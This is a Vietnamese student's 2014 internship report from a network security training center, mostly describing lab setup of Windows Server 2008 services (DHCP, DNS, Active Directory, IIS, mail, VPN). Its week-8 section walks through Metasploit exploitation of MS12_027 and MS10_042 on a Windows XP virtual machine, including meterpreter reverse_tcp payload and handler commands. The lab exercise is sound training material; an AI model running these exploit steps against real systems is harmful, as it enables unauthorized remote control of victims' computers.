Bao caotttn

TRƯỜNG ĐẠI HỌC MỞ THÀNH PHỐ HỒ CHÍ MINH
KHOA CÔNG NGHỆ THÔNG TIN
--------------------------------
NGUYỄN HUỲNH HƢỚNG
MSSS: 111C650047
NGHIÊN CỨU VÀ TRIỂN KHAI CÁI DỊCH VỤ MẠNG
TRÊN WINDOWS SEVER 2008
BÁO CÁO THỰC TẬP TỐT NGHIỆP
Ngành: Công Nghệ Thông Tin
Hướng chuyên ngành: Quản Trị Mạng
Lớp: CD11TH02
NGƯỜI HƯỚNG DẪN KHOA HỌC
Nguyễn Cao Tùng
Thành phố Hồ Chí Minh – Năm 2014

LỜI CÁM ƠN
Để hoàn thành bài báo cáo thực tập tốt nghiệp này, em xin bày tỏ lòng biết ơn sâu sắc
đến Thầy Nguyễn Cao Tùng đã tận tình hướng dẫn em trong suốt quá trình làm báo cáo
thực tập.
Em xin chân thành cảm ơn quý thầy cô trong khoa Công Nghệ Thông Tin của trường
Đại Học Mở TP.HCM đã truyền đạt những kiến thức cho em trong suốt thời gian học tại
trường. Với vốn kiến thức tiếp thu được trong quá trình học không chỉ là nền tảng cho em
viết bài mà còn là hành trang quý báu cho em bước vào đời.
Em xin chân thành cảm ơn ban lãnh đạo Trung Tâm Đào Tạo Quản Tri Mạng & An
ninh Mạng Quốc Tế ATHENA đặc biệt là Thầy Võ Đỗ Thắng đã tạo điều kiện cho em
được thực tập tại trung tâm. Em xin gởi lời cảm ơn đến toàn thể các anh, chị , bạn bè
trong phòng công nghệ thông tin đã nhiệt tình hướng dẫn em trong suốt thời gian thực tập
và đã tạo cho em tiếp cận và thử nghiệm với công việc.
Cuối cùng em xin gởi lời chúc sức khỏe dồi dào và thành đạt trong sự nghiệp đến các
thầy cô và tập thể Trung Tâm Đào Tạo Quản Tri Mạng & An ninh Mạng Quốc Tế
ATHENA .Em xin chân thành cảm ơn!

ĐÁNH GIÁ KẾT QUẢ THỰC TẬP CỦA KHOA
........................................................................................................................................................................
........................................................................................................................................................................
........................................................................................................................................................................
........................................................................................................................................................................
........................................................................................................................................................................
........................................................................................................................................................................
........................................................................................................................................................................
........................................................................................................................................................................
........................................................................................................................................................................
........................................................................................................................................................................
........................................................................................................................................................................
........................................................................................................................................................................
........................................................................................................................................................................
........................................................................................................................................................................
........................................................................................................................................................................
........................................................................................................................................................................
........................................................................................................................................................................
........................................................................................................................................................................
........................................................................................................................................................................
........................................................................................................................................................................

Mục Lục
I. GIỚI THIỆU VỀ CÔNG TY THỰC TẬP .........................................................................................1
1. Giới thiệu về công ty...................................................................................................................1
a. Giới thiệu về Athena................................................................................................................1
b. Trụ sở và các chi nhánh.........................................................................................................1
c. Quá trình hình thành và phát triển ......................................................................................2
2. Sơ đồ tổ chức ...............................................................................................................................4
3. Phòng ban sinh viên thực tập ..................................................................................................5
II. NỘI DUNG THỰC TẬP.....................................................................................................................5
1. Nhiệm vụ chính đƣợc giao thực tập.......................................................................................5
a. Tổng quát ...................................................................................................................................5
b. Kiến thức cần tìm hiểu............................................................................................................6
2. Lịch làm việc tại công ty thực tập ...........................................................................................6
LỊCH THỰC TẬP TẠI TRUNG TÂM ATHENA .................................................................................6
3. Nội dung công việc thực tập.....................................................................................................7
4. Tuần 1..............................................................................................................................................7
5. Tuần 2..............................................................................................................................................7
a. DHCP ...........................................................................................................................................7
b. DNS..............................................................................................................................................8
c. Active Directory........................................................................................................................9
d. Web Sever................................................................................................................................10
e. Mail Sever.................................................................................................................................11
6. Tuần 3............................................................................................................................................11
7. Tuần 4............................................................................................................................................12
a. Multi Domain ...........................................................................................................................12
8. Tuần 5............................................................................................................................................13
9. Tuần 6............................................................................................................................................13
10. Tuần 7........................................................................................................................................14

a. Mail Sever trên VPS...............................................................................................................14
b. Web Sever trên VPS ..............................................................................................................15
c. VPN trên VPS...........................................................................................................................16
11. Tuần 8........................................................................................................................................17
a. Khai thác mã lỗi MS12_027..................................................................................................17
b. Khai thác mã lỗi MS10_042..................................................................................................18
III. KẾT QUẢ ĐẠT ĐƢỢC QUA ĐỢT THỰC TẬP ......................................................................18
1. Những kiến thức lý thuyết đƣợc củng cố...........................................................................18
2. Những kỹ năng thực hành đƣợc học thêm ........................................................................19
3. Những kinh nghiệm thực tiễn đƣợc tích lũy......................................................................19

Báo Cáo Thực Tập SVTH: Nguyễn Huỳnh Hướng
-1-
I. GIỚI THIỆU VỀ CÔNG TY THỰC TẬP
1. Giới thiệu về công ty
a. Giới thiệu về Athena
Trung Tâm Đào Tạo Quản Tri Mạng & An ninh Mạng Quốc Tế ATHENA được
thành lập từ năm 2004, là tổ chức qui tụ nhiều trí thức trẻ Việt Nam đầy năng động, nhiệt
huyết và kinh nghiệm trong lãnh vực Công Nghệ Thông Tin, với tâm huyết góp phần vào
công cuộc thúc đẩythúc đẩy tiến trình đưa Công Nghệ Thông tin là nghành kinh tế mũi
nhọn, góp phần phát triển nước nhà.
Tên công ty viết bằng tiếng nước ngoài: ATHENA ADVICE TRAINNG
NETWORK SECURITY COMPANY LIMITED ATHENA đã và đang tập trung chủ
yếu vào các hoạt động sau:
-Công tác huấn luyện, quảng bá kiến thức tin học, đặc biệt trong lĩnh vực mạng
máy tính internet bảo mật và thương mại điện tử...
-Tư vấn và hỗ trợ cho doanh nghiệp ứng dụng hiệu quả tin học vào hoạt động sản
xuất kinh doanh.
-Cung cấp nguồn nhân lực trong lĩnh vực công nghệ thông tin, đặc biệt là chuyên
gia về mạng máy tính và bảo mật mạng đạt trình độ quốc tế cho các tổ chức doanh
nghiệp có nhu cầu.
-Tiến hành các hoạt động nghiên cứa nâng cao kiến thức tin học và phát triển cơ
sở dữ liệu thông tin về các ứng dụng và sự cố mạng.
-Tiến hành các dịch vụ ứng cứu khẩn cấp cho doanh nghiệp trong trường hơp xảy
ra sự cố máy tính.
b. Trụ sở và các chi nhánh
Trụ sở chính
Trung tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA. Số 2 Bis
Đinh Tiên Hoàng, phường Đa Kao,Quận 1, TPHCM.
+Website: www.athena.edu.vn
+Điện thoại: (84-8)38244041
+Hotline: 0943230099

-2-
Cơ sở 2
Trung tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA 92 Nguyễn
Đình chiễu, phường Đa Kao, Quận 1, TPHCM
+Website: www.athena.edu.vn
+Điện thoại: ( 84-8 ) 2210 3801.
+Hotline: 0943 20 00 88.
c. Quá trình hình thành và phát triển
Quá trình hình thành
Năm 2000, một nhóm các thành viên là những doanh nhân tài năng và thành công
trong lĩnh vực công nghệ thông tin đã nhận ra tiềm năng phát triển của việc đào tạo nền
công nghệ thông tin nước nhà.
Họ là những cá nhân có trình độ chuyên môn cao và có đầu óc lãnh đạo cùng với
tầm nhìn xa về tương lai của ngành công nghệ thông tin trong tương lai, họ đã quy tụ
được một lực lượng lớn đội ngũ công nghệ thông tin trước hết là làm nhiệm vụ ứng cứu
máy tính cho các doanh nghiệp, cá nhân có nhu cầu. Bước phát triển tiếp theo là vươn
tầm đào đạo đội ngũ cán bộ công nghệ thông tin cho đất nước và xã hội.
Công ty TNHH Tư vấn và Đào tạo quản trị mạng Việt Năng, hay còn gọi là Trung
tâm đào tạo Quản trị và An ninh mạng Quốc Tế Athena (tên thương hiệu viết tắt
là TRUNG TÂM ĐÀO TẠO ATHENA), được chính thức thành lập theo giấy phép
kinh doanh số 4104006757 của Sở Kế Hoạch Đầu Tư Tp Hồ Chí Minh cấp ngày 04 tháng
11 năm 2008.

-3-
Quá trình phát triển
Từ năm 2004- 2006: Trung tâm có nhiều bước phát triển và chuyển mình. Trung tâm
trở thành một trong những địa chỉ tin cậy của nhiều doanh nghiệp nhằm cài đặt hệ thống
an ninh mạng và đào tạo cho đội ngũ nhân viên của các doanh nghiệp về các chương
trình quản lý dự án MS Project 2003, kỹ năng thương mại điện tử, bảo mật web… và là
địa chỉ tin cậy của nhiều học sinh_sinh viên đến đăng kí học. Đòi hỏi cấp thiết trong thời
gian này của Trung tâm là nâng cao hơn nữa đội ngũ giảng viên cũng như cơ sở để đáp
ứng nhu cầu ngày càng cao về công nghệ thông tin của đất nước nói chung, các doanh
nghiệp, cá nhân nói riêng.
Đến năm 2006: Trung tâm đào tạo quản trị và an ninh mạng Athena mở ra thêm một
chi nhánh tại Cư xá Nguyễn Văn Trỗi. Đồng thời tiếp tục tuyển dụng đội ngũ giảng viên
là những chuyên gia an ninh mạng tốt nghiệp các trường đại học và học viện công nghệ
thông tin uy tín trên toàn quốc, đồng thời trong thời gian này Athena có nhiều chính sách
ưu đãi nhằm thu hút đội ngũ nhân lực công nghệ thông tin lành nghề từ các doanh nghiệp,
tổ chức, làm giàu thêm đội ngũ giảng viên của trung tâm.
Đến năm 2008: Hàng loạt các trung tâm đào tạo quản trị và an ninh mạng mọc lên,
cùng với khủng hoảng kinh tế tài chính toàn cầu đã làm cho Trung tâm rơi vào nhiều khó
khăn. Ông Nguyễn Thế Đông cùng Ông Hứa Văn Thế Phúc rút vốn khỏi công ty gây nên
sự hoang man cho toàn bộ hệ thống trung tâm.Cộng thêm chi nhánh tại Cư xã Nguyễn
Văn Trỗi hoạt động không còn hiệu quả phải đóng cửa làm cho trung tâm rơi từ khó khăn
này đến khó khăn khác.
Lúc này, với quyết tâm khôi phục lại công ty cũng như tiếp tục sứ mạng góp phần
vào tiến trình tin học hóa của đất nước.Ông Võ Đỗ Thắng mua lại cổ phần của hai nhà
đầu tư lên làm giám đốc và xây dựng lại trung tâm.Đây là một bước chuyển mình có ý
nghĩa chiến lược của trung tâm.Mở ra một làn gió mới và một giai đoạn mới, cùng với

-4-
quyết tâm mạnh mẽ và một tinh thần thép đã giúp ông Thắng vượt qua nhiều khó khăn
ban đầu, giúp trung tâm đứng vững trong thời kì khủng hoảng.
Từ năm 2009 – nay: Cùng với sự lãnh đạo tài tình và đầu óc chiến lược. Trung tâm
đào tạo quản trị và an ninh mạng dần được phục hồi và trở lại quỹ đạo hoạt động của
mình. Đến nay, Trung tâm đã trở thành một trong những trung tâm đào tạo quản trị mạng
hàng đầu Việt Nam. Cùng với sự liên kết của rất nhiều công ty, tổ chức doanh nghiệp,
trung tâm trở thành nơi đào tạo và cung cấp nguồn nhân lực công nghệ thông tin cho xã
hội. Từng bước thực hiện mục tiêu góp phần vào tiến trình tin học hóa nước nhà.
2. Sơ đồ tổ chức

-5-
3. Phòng ban sinh viên thực tập
Bộ phận thực tập : Bộ phận triển khai kỹ thuật.
Nhiệm vụ và dịch vụ:
-Triển khai lắp đặt hệ thống mạng.
-Bảo trì hệ thống mạng.
-Tư vấn hỗ trợ quản trị hệ thống mạng.
II. NỘI DUNG THỰC TẬP
1. Nhiệm vụ chính đƣợc giao thực tập
a. Tổng quát
Triển khai các dịch vụ mạng trên Windows Server 2008.
Yêu cầu nhiệm vụ: Có kiến thức tốt về Network, System, Security.
Môi trường thực tập VMWare:
VMWare WorkStation là một phần mềm giúp tạo máy ảo.
Chạy các ứng dụng trên nhiều hệ điều hành bao gồm cả Linux, Windows và
nhiều hơn nữa cùng một lúc trên cùng một máy tính mà không cần khởi động
lại.
Giúp đánh giá và kiểm tra hệ điều hành mới, các ứng dụng và các bản vá lỗi
trong một môi trường bị cô lập.
Củng cố nhiều máy tính chạy các máy chủ web, máy chủ cơ sở dữ liệu, vv
vào một máy tính duy nhất.
Xây dựng kiến trúc tham khảo để đánh giá trước khi triển khai vào sản
xuất.Như việc trong khi thực hành về máy Windows Server 2008 trên máy ảo để
nghiên cứu trước khi triển khai trên hệ thống thật.

-6-
b. Kiến thức cần tìm hiểu
Hệ thống mạng của doanh nghiệp đơn giản hay phức tạp là tùy theo quy mô
và loại hình của doanh nghiệp. Ngày nay, các nhà cung ứng đã đưa ra rất nhiều
sự chọn lựa cho doanh nghiệp như cho phép doanh nghiệp tự trang bị, tự quản lý
hoặc sử dụng dịch vụ.Những doanh nghiệp lớn với hàng ngàn máy tính cũng có
những giải pháp quản lý đặc thù kết hợp cả phần cứng và phần mềm.
Hầu hết các doanh nghiệp đều có nhu cầu sử dụng các ứng dụng công nghệ
sthông tin (CNTT) ở những mức độ khác nhau. Do vậy, họ sẽ có những nhu cầu
khác nhau về quản trị hệ thống mạng (network) của doanh nghiệp. Một hệ thống
được kiểm soát tốt sẽ làm giảm đáng kể chi phí hoạt động, nâng cao hiệu quả
cũng như độ tin cậy của hệ thống.
Tùy vào qui mô lớn hay nhỏ của doanh nghiệp mà ta sẽ có những giải pháp
công nghệ và thiết kế sao cho phù hợp nhất.
Hiện nay, hầu hết các ứng dụng mới đều yêu cầu rất nhiều tài nguyên của hệ
thống và băng thông mạng, cũng như các yêu cầu về điều khiển, giám sát mạng.
Vậy làm thế nào để một doanh nghiệp vừa và nhỏ, với một số vốn đầu tư ban đầu
hạn chế, có thể tiếp cận được với các công nghệ hiện đại, bắt kịp sự phát triển của
thế giới.
2. Lịch làm việc tại công ty thực tập
Thời gian thực tập thừ 17-2 đến 17-4 trong vòng 2 tháng.
Thực tập vào buổi sáng các thứ 3, 5,7 hàng tuần.
Thời gian thực tập từ 7h00 đến 11h00.
LỊCH THỰC TẬP TẠI TRUNG TÂM ATHENA
STT
Tuần
Tuần
1
Tuần
2
Tuần
3
Tuần
4
Tuần
5
Tuần
6
Tuần
7
Tuần
8

-7-
3. Nội dung công việc thực tập
Phần 1: Triển khai trên local host các dịch vụ Windows Sever 2008
-Triển khai các dịch vụ AD,DNS,DHCP,VPN, Mail, WEB.
-Nghiên cứu cơ chế Multi Domain giữa các Sever 2008.
Phần 2: Triển khai các dịch vụ VPS (Sever) các dịch vụ mail, Web, VPN.
-Đăng kí Domain quốc tế.
-Xây dựng mail Sever để có thể gửi, nhận mail với yahoo, gmail.
- Xây dựng VPN Sever để kết nối từ xa qua Internet.
Phần 3 :Nghiên cứu bảo mật Windows…Systemhaking, khai thác lỗ hỏng Windows
4. Tuần 1
Đến Trung Tâm Athena, gặp giáo viên hướng dẫn.
Tiến hành nhận tài liệu và đĩa CD.
Nghe phổ biến công việc thực tập tại trung tâm,
Sau đó, tiến hành cài đặt Máy ảo Sever 2008 trên VMWare.
5. Tuần 2
-Bắt đầu triển khai trên local host các dịch vụ Windows Sever 2008 bao gồm như :
DHCP, ActiveDirectory, Multi Domain, Web sever và Mail Sever.
a. DHCP
Mục tiêu
Xây dựng máy chủ cấp phát địa chỉ IP động cho các máy cho mạng LAN
Mô hình

-8-
Lưu ý
Nếu thực hiện trên VW- Ware thì phải tắt tính năng DHCP trong mục
Virtual Network Editor.
Trong cùng một hệ thống, chỉ sử dụng một DHCP.Server để cấp phát IP.
Xem Video Demo tạo DHCP:
https://www.youtube.com/watch?v=x8CB8kreLXY
b. DNS
Mục tiêu
Phân giải IP thành tên địa chỉ.
Phân giải tên địa chỉ thành IP.
Mô hình
Lưu ý
Khi thực hiện trên máy ảo VM-ware, các card mạng sẽ thiết lập ở chế độ
HOST ONLY.
Nên tắt tính năng Windows Firewall trên các máy Server và PC.

-9-
Các bước thực hiện
Bước 1: Cấu hình phân giải xuôi từ IP -> Tên.
Bước 2 : Cấu hình phân giải ngược từ Tên -> IP.
Bước 3: kiểm tra trên máy Sever.
Bước 4: kiểm tra trên máy client.
c. Active Directory
Mục tiêu
Cài Domain Controller trên máy server2 và tiến hành join PC1 vào domain
và đăng nhập .
Domain Administrator để sử dụng Administrative Tools cho máy PC1.
Mục tiêu cuối cùng: cài đặt Domain Controller và join PC1 vào Domain
Mô hình
Lưu ý
HOST ONLY.
Mục tiêu cuối cùng
Cài đặt Domain Controller và join PC vào Domain thành công.
Bước 1: Cài đặt Domain Controller trên máy PC.

-10-
Bước 2: Cấu hình Donmain Default cho phép tạo user với password đơn
giản.
Bước 3: Cấu hình Default Policy để cho phép user bình thường đăng nhập
vào local.
Bước 4: Join Domain cho máy PC.
Xem Video Demo Active Dirtory:
https://www.youtube.com/watch?v=vo7bsqFU0cs
d. Web Sever
Mục tiêu
Cài đặt dịch vụ IIS trên Windows Server 2008.
Ứng dụng dịch vụ IIS để triển khai Web Server và FTP Server.
Mô hình
Lưu ý
HOST ONLY.
Bước 1: Cài đặt IIS.
Bước 2: Tạo một trang Web và kiểm tra.
Bước 3: Tạo một FTP Site và kiểm tra.
Bước 4: Kiểm tra tren máy Sever.

-11-
Bước 5: Kiểm tra trên máy Client.
Xem video Demo Web Sever:
https://www.youtube.com/watch?v=z-bHCd1RsPw
e. Mail Sever
Mục tiêu
Cài đặt dịch vụ Mail Sever trên Windows Server 2008.
Ứng dụng dịch vụ Mail để tiến hành gửi, nhận Mail giữa các máy Client.
Nghiên cứu về Multi Domain.
Mô hình
Bước 1: Cài đặt Mdeamon.
Bước 2: Thiết lập cấu hình cho Mail.
Bước 3: Tạo các tài khoản.
Bước 4: Kiểm tra Mail trên máy Client
Xem Video Demo Mail Sever:
https://www.youtube.com/watch?v=gXtgXoAHK9Y
6. Tuần 3
Quay video báo cáo về những gì đã làm được và đăng lên
http://youtube.com rồi gửi link cho Thầy hướng dẫn.
Bắt đầu làm về Multi domain.

-12-
7. Tuần 4
-Tiếp tục nghiên cứu về Multi Domain và sau đó tiến hành cài đặt.
a. Multi Domain
Mô hình
Sau đó tiến hành cài đặt Active Directory với tên Domain.
Tiền hành join Domain của máy Sever2 vào máy Sever 1. Đồng thời tạo
các user trên cả 2 Sever, kiểm tra các user trên cả 2 Sever.
Khi đã join thành công sever2 vào doamain của sever1, ta tiếp tục nâng cấp
Domain của sever2.
Hoàn thanh qui trình cài đặt ,máy sẽ tiến hành restart lại.Tiến hành kiểm tra
cả hai server.
Xem Video Demo Multi Domain:
https://www.youtube.com/watch?v=QKe9tMir94w

-13-
8. Tuần 5
Báo cáo nội dung phần 1 bằng File Word đăng lên http://slideshare.net.
File Word:
http://www.slideshare.net/kutmujbl/bo-co-thc-tp-gia-k-32518397.
File Power Point Báo cáo giữa kỳ
http://www.slideshare.net/kutmujbl/bo-co-giua-k-power-point
Nộp link báo cáo video gửi cho Thầy và Trung Tâm.
Link Video:
https://www.youtube.com/watch?v=x8CB8kreLXY Cài đặt DHCP.
https://www.youtube.com/watch?v=vo7bsqFU0cs Cài đặt Domain.
https://www.youtube.com/watch?v=QKe9tMir94w Tạo Multi Domain.
https://www.youtube.com/watch?v=z-bHCd1RsPw Web Sever.
https://www.youtube.com/watch?v=gXtgXoAHK9Y Mail Sever.
File Word bài báo cáo cuối kỳ :
http://www.slideshare.net/kutmujbl/bcck
9. Tuần 6
Các bước đăng ký:
Tìm hiểu về đăng kí Domain quốc tế.
Đăng kí được free Domain: Đăng kí thành công Domain với tên miền
www.kutmujbl.tk và www.huynhhuong.tk
Bước 1: Truy cập địa chỉ website: http://dot.tk
Bước 2 : Gõ tên miền muốn đăng ký.
Bước 3 : Chọn tên miền của để vào phần quản lý tên miền.

-14-
Bước 4: Chọn: Custom DNS, - Thêm 2 bản ghi ns.ttndns.com và
ns2.ttndns.com  Registration length - chọn thời gian bạn muốn sử dụng tên
miền .tkSau đó ấn nút SIGN UP.
Bước 5: - Nếu đã có các tài khoản của: Facebook, Google, Windows Live
ID, Yahoo, Aol., flickr thì có thể chọn 1 trong các tài khoản có để đăng kí tên
miềnNếu không có tài khoản trên, ấn vào chữ "email address" và điền email
mà muốn đăng kí vào, sau đó ấn Next.
Bước 6: Điền thông tin sau đó ấn nút Create Account để hoàn tất việc đăng
kí tên miền .tk
Bước 7: Vào phần quản lý website ở Webmienphi.vn, vào menu "Thông
tin, cài đặt tên miền", thêm tên miền vừa trỏ, đợi vài tiếng tùy nhà mạngđã đăng
kí và trỏ IP thành công với tên miền .tk
Triển khai các dịch vụ trên VPS
Đăng kí thành công dịch vụ VPS cung cấp bởi ATHENA với địa chỉ IP:
14.0.31.173
10. Tuần 7
-Triển khai các dịch vụ trên VPS bao gồm : Mail Sever, Web Sever.
a. Mail Sever trên VPS
Mục tiêu:
Cài đăt Mdeamon trên máy chủ ảo VPS.
Tiến hành gởi nhận mail qua các tài khoản Yahoo, Gmail.

-15-
Mô hình:
Các bước thực hiện:
Bước 1: Cài đặt Mdeamon.
Bước 2: Thiết lập cấu hình cho Mail.
Bước 3: Tạo các tài khoản.
Bước 4: Kiểm tra Mail qua tài khoản Yahoo và tài khoản Gmail.
Xem Video Demo Mail Sever trên VPS:
https://www.youtube.com/watch?v=38QKBM9odyg
b. Web Sever trên VPS
Mô hình
Mục tiêu
Cài đặt dịch vụ Web Sever (Xampp 1.7.3)trên máy chủ ảo VPS trên nền
Wordpress.
Thực hiện truy cập trang web vừa tạo trên trình duyệt web.

-16-
Bước 1: Cài đặt phần mềm XamPP 1.7.3.
Bước 2: Cấu hình Xampp.
Bước 3: Cấu hình file Wordpress.
Bước 4: Kiểm tra trang Web vừa tạo.
Xem Video Demo Web Sever trên VPS:
https://www.youtube.com/watch?v=iCHMO3zMbt8
c. VPN trên VPS
Mục tiêu:
Cài đặt Routing and Remote Access(Lan Routing , VPN)
Cấu hình VPN cho phép PC1 truy cập vào máy PC2.
Kiểm tra dịch vụ bằng thư mục chia sẽ trên PC1.
Mô hình:
Lưu ý: : nếu thực hiện trên môi trường máy ảo Vmware nên tắt tường lửa
cả Sever và PC.
Bước 1: cài đặt Routing and remote access.
Bước 2 : cấu hình Routing and remote access.
Bước 3 : tạo tài khoản trên sever và cấp quyền truy cập VPN
Bước 4: tạo kết nối VPN trên máy PC2.
Bước 5:Share thư mục PC1 và tiền hành truy cập từ PC2 share.
Xem video Demo VPN:
https://www.youtube.com/watch?v=9Kz7zLKZ5As&feature=youtu.be

-17-
11. Tuần 8
-Nghiên cứa Bảo mật Windows System Hacking , khai thác lỗ hỏng Windows.
-Tiến hành cài đăt hệ điều hành BackTrack R3 cho máy ảo Vmware.
-Xem các video và tài liệu hướng dẫn do Trung Tâm Athena.
-Sau đó, tiến hành Demo trên máy áo, khai thác các mã lổi: MS12_027,
MS10_004, MS12_042, MS10_090.
a. Khai thác mã lỗi MS12_027
Bước 1: Khởi động BackTrack5, đăng nhập và mở giao diện đồ họa.
Bước 2: Kiểm tra địa chỉ IP của máy bằng câu lệnh “ifconfig”  khời động
giao diện matasplot bằng câu lệnh “msfconsole”  tiến hành tìm mã lỗi bằng câu
lệnh “search MS12_027” lệnh này khai thác mã lỗi thông qua Microsoft Word
2007  sử dụng lỗi với lệnh “use”  Tiến hành tạo file word bằng câu lệnh “set
FILENAME tenfile.doc”  sau đó dùng lệnh “set PAYLOAD
windows/meterprerter/reverse_tcp”  gõ lệnh “set LHOST diachiIP BackTrack”
 tiếp theo gõ lệnh “ set LPORT 7777”  phân giải các câu lệnh trên bằng câu
lệnh “exploit” sau đó hệ thống sẽ tạo nên File word , tiến hành copy File đó ra
man hình Desktop  sau đó copy File word vào thực muc “var/www” trong hệ
thống ta tiến hành khởi động handler bằng câu lệnh “use
exploit/multi/handler”ta thiết lập LHOST và LPORT lại một lần nữa  sau đó
phân giải các lệnh trên bằng lệnh “exploit” đưa File Word vừa tạo lên host bằng
câu lệnh” /etc/init.d/apache2 start.
Bước 3: Chuyển qua máy XP tiến hành mở trình duyệt gõ địa
VD:192.168.60.128/ms12_027.doc  tiến hành lưa File và mở Khi mở File
word vừa tải thì máy XP sẽ bị hack. Dùng lệnh sysinfo để kiểm tra. Như vậy ta đã
hoàn thành khai thác lỗi MS12_027 trên win XP.
Xem Video Demo Mã lỗi MS12_027:

-18-
https://www.youtube.com/watch?v=EdiKmssKFeE
b. Khai thác mã lỗi MS10_042
Bước 1: Khởi động BackTrack5, đăng nhập và mở giao diện đồ họa.
Bước 2: Kiểm tra địa chỉ IP của máy bằng câu lệnh “ifconfig”  khời động
giao diện matasplot bằng câu lệnh “msfconsole”  tiến hành tìm mã lỗi bằng câu
lệnh “search MS10_042” sử dụng lệnh trên bằng câu lệnh “use” sau đó gõ
lệnh “set SRVHOST diachiIPBackTrack” thiết lập SRVHOST  sau đó dùng lệnh
“set PAYLOAD windows/meterprerter/reverse_tcp”  gõ lệnh “set LHOST
diachiIP BackTrack”  tiếp theo gõ lệnh “ set LPORT 7777”  phân giải các câu
lệnh trên bằng câu lệnh “exploit” .
Bước 3: Chuyển qua máy XP mở trinh duyệt và gõ địa chỉ VD:
192.168.60.128:80  máy XP sẽ bị hack. Dùng lệnh sysinfo để kiểm tra. Như vậy
ta đã hoàn thành khai thác lỗi MS10_042 trên win XP.
Xem Video Demo Mã lỗi MS10_042:
https://www.youtube.com/watch?v=G4Dj3blJTZE
III. KẾT QUẢ ĐẠT ĐƢỢC QUA ĐỢT THỰC TẬP
1. Những kiến thức lý thuyết đƣợc củng cố
Sau khi tìm hiểu và triển khai các dịch vụ trên máy ảo VMWare và VPS em đã có thêm
kiến thức về:
Nguyên lý cơ bản của hệ điều hành mạ ứ ạng, có
kỹ năng cần thiết để cài đặ ỉnh mạng doanh nghiệp cỡ vừa và
lớn dựa vào Windows Server 2008.
Hiểu về cấu trúc hạ tầng, thiết kế và quản trị hệ thống mạ ụ quả
ợ .

-19-
Triển khai, thiết kế, quản lý và chuẩn đoán hỏng hóc cho một hệ thống
mạng.
Có thêm các kiến thức trên nền tảng công nghệ Windows Server 2008.
2. Những kỹ năng thực hành đƣợc học thêm
Các thành viên trong nhóm đã định hướng rõ ràng mục tiêu sắp tới sẽ làm.
Tự tin hơn trong việc giao tiếp với mọi người trong công việc.
Nâng cao khả năng làm việc nhóm cũng như khả năng tự bản thân giải
quyết vấn đề khó khăn gặp phải trong công việc.
3. Những kinh nghiệm thực tiễn đƣợc tích lũy
Có cái nhìn thực tế về việc cấu hình, quản lý một hệ thống mạng của một
doanh nghiệp thông qua nền tảng.
Được trực tiếp tiếp xúc những công nghệ và thiết bị mà trước đây chỉ biết
đến thông qua sách vở.
Được vận dụng những kiến thức tiếp thu trên lớp vào công việc thực tế.
Bổ sung và trau dồi những thiếu sót về kiến thức trong quá trình học trên
lớp.
Trực tiếp triển khai và cấu hình trên máy chủ ảo VPS.
Có kinh nghiệm trong việc khắc phục sự cố khi hệ thống gặp lỗi.
 Xem video giới thiệu bản thân:
https://www.youtube.com/watch?v=JIfwLhdQ9WM
 Xem video giới thiệu về nội dung thực tập:
https://www.youtube.com/watch?v=K4uNQ_BoVJs

Bao caotttn

Recommandé

Recommandé

Contenu connexe

Tendances

Tendances (20)

En vedette

En vedette (13)

Similaire à Bao caotttn

Similaire à Bao caotttn (20)

Bao caotttn